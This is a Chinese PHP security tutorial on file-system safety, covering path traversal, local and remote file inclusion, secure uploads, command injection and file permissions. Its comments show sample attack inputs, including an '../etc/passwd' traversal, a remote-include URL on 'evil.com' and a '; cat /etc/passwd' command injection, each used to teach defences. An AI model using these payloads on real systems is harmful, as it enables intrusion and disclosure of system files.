Skip to content

文件系统安全

文件系统是 PHP 应用中常见的安全攻击面。目录遍历、文件包含、文件上传、命令注入等漏洞都可能导致服务器被完全控制。本节讲解 PHP 文件操作中的安全注意事项,包括路径验证、文件权限、安全上传处理和禁止危险函数等。

前置知识

阅读本节前,建议先了解:安全总则文件系统操作

基础概念

常见文件系统攻击

攻击类型攻击方式危害
目录遍历使用 ../ 访问受限目录读取任意文件
文件包含包含用户指定的文件远程代码执行
文件上传上传恶意 PHP 文件代码执行
命令注入在 shell 函数中注入命令服务器控制
临时文件竞争条件操作临时文件信息泄露/篡改
日志文件写入敏感信息到日志凭证泄露

路径安全

防止目录遍历

php
<?php

declare(strict_types=1);

// === 错误:直接使用用户输入拼接路径 ===
$file = $_GET['file'] ?? 'default.txt';
include('/var/www/pages/' . $file);
// 攻击:?file=../../../../etc/passwd

// === 正确方案一:basename() ===
$file = basename($_GET['file'] ?? 'default.txt');
include('/var/www/pages/' . $file);
// basename 会移除路径中的目录部分

// === 正确方案二:realpath() ===
$path = $_GET['path'] ?? '';
$realPath = realpath('/var/www/data/' . $path);
$expectedDir = '/var/www/data/';

if ($realPath === false || !str_starts_with($realPath, $expectedDir)) {
    die('非法路径');
}
echo file_get_contents($realPath);

// === 正确方案三:白名单验证 ===
$allowedFiles = ['about.md', 'contact.md', 'help.md', 'faq.md'];
$requestedFile = $_GET['page'] ?? 'about.md';

if (!in_array($requestedFile, $allowedFiles, true)) {
    die('请求的页面不存在');
}

include('/var/www/pages/' . $requestedFile);

// === 正确方案四:正则验证 ===
$filename = $_GET['file'] ?? '';
if (!preg_match('/^[a-zA-Z0-9_\-]+\.(jpg|png|gif|pdf)$/', $filename)) {
    die('文件名不合法');
}

realpath() 的安全用法

php
<?php

declare(strict_types=1);

/**
 * 安全地获取文件绝对路径
 */
function safePath(string $basePath, string $userPath): ?string
{
    // 拼接路径前先确保 base 路径规范
    $basePath = rtrim(realpath($basePath), DIRECTORY_SEPARATOR);

    if ($basePath === false) {
        return null;
    }

    // 构建完整路径
    $fullPath = $basePath . DIRECTORY_SEPARATOR . $userPath;

    // 解析为真实路径(解析所有 .. 和符号链接)
    $resolvedPath = realpath($fullPath);

    if ($resolvedPath === false) {
        return null;
    }

    // 确保解析后的路径在 base 目录内
    if (!str_starts_with($resolvedPath . DIRECTORY_SEPARATOR, $basePath . DIRECTORY_SEPARATOR)
        && $resolvedPath !== $basePath) {
        return null;
    }

    return $resolvedPath;
}

// 使用
$filePath = safePath('/var/www/uploads', $_GET['file'] ?? '');
if ($filePath === null) {
    die('非法文件路径');
}
echo file_get_contents($filePath);

文件包含安全

本地文件包含(LFI)

php
<?php

declare(strict_types=1);

// === 危险:动态包含用户输入 ===
$page = $_GET['page'] ?? 'home';
include('/pages/' . $page . '.php');
// 攻击:?page=../../etc/passwd%00
// null 字节注入在 PHP 5.3.4+ 已修复

// === 安全方案 ===

// 1. 白名单映射
$routes = [
    'home' => '/pages/home.php',
    'about' => '/pages/about.php',
    'contact' => '/pages/contact.php',
];

$page = $_GET['page'] ?? 'home';
if (!isset($routes[$page])) {
    die('页面不存在');
}
include $routes[$page];

// 2. 使用 match(PHP 8.0+)
$page = $_GET['page'] ?? 'home';
$filePath = match ($page) {
    'home' => '/pages/home.php',
    'about' => '/pages/about.php',
    'contact' => '/pages/contact.php',
    default => null,
};

if ($filePath !== null && file_exists($filePath)) {
    include $filePath;
} else {
    die('页面不存在');
}

远程文件包含(RFI)

php
<?php

// === 危险:allow_url_include = On 时 ===
$page = $_GET['page'];
include($page); // 攻击:?page=http://evil.com/malicious.php

// === 防御 ===
// php.ini 中关闭
// allow_url_include = Off(生产环境必须关闭)
// allow_url_fopen = Off(如果不需要远程文件访问)

// 检查配置
if (ini_get('allow_url_include')) {
    echo '警告:allow_url_include 已启用!';
}

安全文件上传

完整的安全上传处理

php
<?php

declare(strict_types=1);

class SecureFileUploader
{
    private readonly string $uploadDir;
    private readonly array $allowedMimeTypes;
    private readonly array $allowedExtensions;
    private readonly int $maxFileSize;
    private readonly int $maxFileCount;

    public function __construct(
        string $uploadDir,
        array $allowedMimeTypes = [],
        array $allowedExtensions = [],
        int $maxFileSize = 5242880, // 5MB
        int $maxFileCount = 10,
    ) {
        $this->uploadDir = rtrim($uploadDir, '/\\');

        // 默认允许的图片类型
        $this->allowedMimeTypes = $allowedMimeTypes ?: [
            'image/jpeg',
            'image/png',
            'image/gif',
            'image/webp',
        ];

        // 默认允许的扩展名
        $this->allowedExtensions = $allowedExtensions ?: [
            'jpg', 'jpeg', 'png', 'gif', 'webp',
        ];

        $this->maxFileSize = $maxFileSize;
        $this->maxFileCount = $maxFileCount;
    }

    /**
     * 处理上传
     * @return array{success: list, errors: list}
     */
    public function upload(array $files): array
    {
        $result = ['success' => [], 'errors' => []];

        // 限制文件数量
        if (count($files['name'] ?? []) > $this->maxFileCount) {
            $result['errors'][] = "最多上传 {$this->maxFileCount} 个文件";
            return $result;
        }

        // 规范化 $_FILES 数组
        $normalized = $this->normalizeFilesArray($files);

        foreach ($normalized as $index => $file) {
            $error = $this->validateFile($file);
            if ($error !== null) {
                $result['errors'][] = "文件 {$file['name']}: {$error}";
                continue;
            }

            $savedPath = $this->saveFile($file);
            if ($savedPath !== null) {
                $result['success'][] = [
                    'original_name' => $file['name'],
                    'saved_path' => $savedPath,
                    'size' => $file['size'],
                    'mime_type' => $file['detected_type'],
                ];
            } else {
                $result['errors'][] = "文件 {$file['name']}: 保存失败";
            }
        }

        return $result;
    }

    private function validateFile(array $file): ?string
    {
        // 检查上传错误
        if ($file['error'] !== UPLOAD_ERR_OK) {
            return $this->getUploadErrorMessage($file['error']);
        }

        // 检查文件大小
        if ($file['size'] > $this->maxFileSize) {
            return "文件大小超过限制(最大 " . ($this->maxFileSize / 1024 / 1024) . "MB)";
        }

        // 检查 MIME 类型(使用 finfo 检测,不信任 $_FILES['type'])
        $finfo = new finfo(FILEINFO_MIME_TYPE);
        $detectedType = $finfo->file($file['tmp_name']);
        $file['detected_type'] = $detectedType;

        if (!in_array($detectedType, $this->allowedMimeTypes, true)) {
            return "不允许的文件类型({$detectedType})";
        }

        // 双重检查:扩展名验证
        $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if (!in_array($ext, $this->allowedExtensions, true)) {
            return "不允许的文件扩展名(.{$ext})";
        }

        // 检查是否为有效图片(getImageSize 可以检测伪造的图片)
        if (str_starts_with($detectedType, 'image/')) {
            $imageInfo = @getimagesize($file['tmp_name']);
            if ($imageInfo === false) {
                return "不是有效的图片文件";
            }
        }

        return null;
    }

    private function saveFile(array $file): ?string
    {
        // 生成安全文件名(不使用原始文件名)
        $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
        $newName = bin2hex(random_bytes(16)) . '.' . $ext;
        $destination = $this->uploadDir . '/' . $newName;

        if (move_uploaded_file($file['tmp_name'], $destination)) {
            // 设置文件权限
            chmod($destination, 0644);
            return $destination;
        }

        return null;
    }

    private function normalizeFilesArray(array $files): array
    {
        $normalized = [];
        $count = count($files['name']);

        for ($i = 0; $i < $count; $i++) {
            $normalized[$i] = [
                'name' => $files['name'][$i],
                'type' => $files['type'][$i],
                'tmp_name' => $files['tmp_name'][$i],
                'error' => $files['error'][$i],
                'size' => $files['size'][$i],
            ];
        }

        return $normalized;
    }

    private function getUploadErrorMessage(int $code): string
    {
        return match ($code) {
            UPLOAD_ERR_INI_SIZE => '文件超过 php.ini 中 upload_max_filesize 的限制',
            UPLOAD_ERR_FORM_SIZE => '文件超过 HTML 表单 MAX_FILE_SIZE 的限制',
            UPLOAD_ERR_PARTIAL => '文件只有部分被上传',
            UPLOAD_ERR_NO_FILE => '没有文件被上传',
            UPLOAD_ERR_NO_TMP_DIR => '找不到临时文件夹',
            UPLOAD_ERR_CANT_WRITE => '文件写入磁盘失败',
            UPLOAD_ERR_EXTENSION => '文件上传被 PHP 扩展阻止',
            default => '未知上传错误',
        };
    }
}

// 使用
$uploader = new SecureFileUploader('/var/www/uploads', maxFileSize: 10 * 1024 * 1024);
$result = $uploader->upload($_FILES['documents']);

foreach ($result['success'] as $file) {
    echo "上传成功: {$file['saved_path']}\n";
}
foreach ($result['errors'] as $error) {
    echo "错误: {$error}\n";
}

命令注入防护

php
<?php

declare(strict_types=1);

// === 绝对避免的函数 ===
// system()    - 执行外部程序并显示输出
// exec()      - 执行外部程序
// passthru()  - 执行外部程序并输出原始结果
// shell_exec()- 通过 shell 环境执行命令
// popen()     - 打开进程文件指针
// proc_open() - 执行命令并打开文件指针
// `` (反引号) - 执行 shell 命令

// === 如果必须使用,使用参数化方式 ===

// 危险:直接拼接用户输入
// system("ping " . $_GET['host']);
// 攻击:?host=127.0.0.1; cat /etc/passwd

// 安全方式一:escapeshellarg()
$host = escapeshellarg($_GET['host'] ?? '');
system("ping -c 1 " . $host);

// 安全方式二:escapeshellcmd()
$cmd = escapeshellcmd($_GET['cmd'] ?? '');
// 注意:escapeshellcmd 不如 escapeshellarg 安全

// 安全方式三:使用白名单
$allowedCommands = ['status', 'version', 'health'];
$cmd = $_GET['cmd'] ?? '';
if (!in_array($cmd, $allowedCommands, true)) {
    die('无效命令');
}

文件权限安全

php
<?php

// === 安全的文件权限设置 ===

// 文件权限:644(rw-r--r--)
// 目录权限:755(rwxr-xr-x)
// 配置文件权限:640(rw-r-----)
// 敏感文件权限:600(rw-------)

// 设置文件权限
chmod('/var/www/config.php', 0640);
chmod('/var/www/uploads', 0755);

// 检查文件权限
$perms = fileperms('/var/www/config.php');
echo decoct($perms); // 100640

// 检查文件是否可写(防止运行时被篡改)
$filename = '/var/www/config.php';
if (is_writable($filename)) {
    trigger_error("安全警告: {$filename} 不应该可写", E_USER_WARNING);
}

// 设置不可变(Linux)
// chattr +i /var/www/config.php  // 需要超级用户权限

Web 服务器配置

禁止上传目录执行 PHP

apache
# Apache 配置
<Directory /var/www/uploads>
    php_flag engine off
    <FilesMatch "\.php$">
        Order allow,deny
        Deny from all
    </FilesMatch>
</Directory>

# Nginx 配置
location ~* /uploads/.*\.php$ {
    deny all;
}

# 更好的方式:只允许特定扩展名
location /uploads/ {
    location ~ \.(jpg|jpeg|png|gif|webp|pdf)$ {
        # 正常处理
    }
    location ~ \.php$ {
        deny all;
    }
}

注意事项

1. 上传目录与代码目录分离

php
<?php

// 上传目录应该在文档根目录之外
// 或者配置 Web 服务器禁止在该目录执行 PHP

// 推荐:
// /var/www/html/      -- 文档根目录(代码)
// /var/www/uploads/    -- 上传目录(不在 html 下)
// /var/www/data/       -- 数据目录

2. 临时文件安全

php
<?php

// 使用 tmpfile() 创建自动清理的临时文件
$temp = tmpfile();
fwrite($temp, '临时数据');
rewind($temp);
$content = stream_get_contents($temp);
fclose($temp); // 自动删除

// 使用 tempnam() 创建命名临时文件
$tempFile = tempnam(sys_get_temp_dir(), 'php_');
file_put_contents($tempFile, '数据');
// 处理完成后删除
unlink($tempFile);

最佳实践

1. 文件操作安全检查清单

php
<?php

// [x] 所有路径使用 realpath() 验证
// [x] 上传文件使用 finfo 检测真实 MIME 类型
// [x] 上传文件重命名为随机文件名
// [x] 上传目录禁止执行 PHP
// [x] 敏感配置文件权限设为 640
// [x] 不使用 system/exec/passthru/shell_exec
// [x] php.ini 中 allow_url_include = Off
// [x] php.ini 中 open_basedir 设置合理

下一节

继续学习:Session 安全

参考链接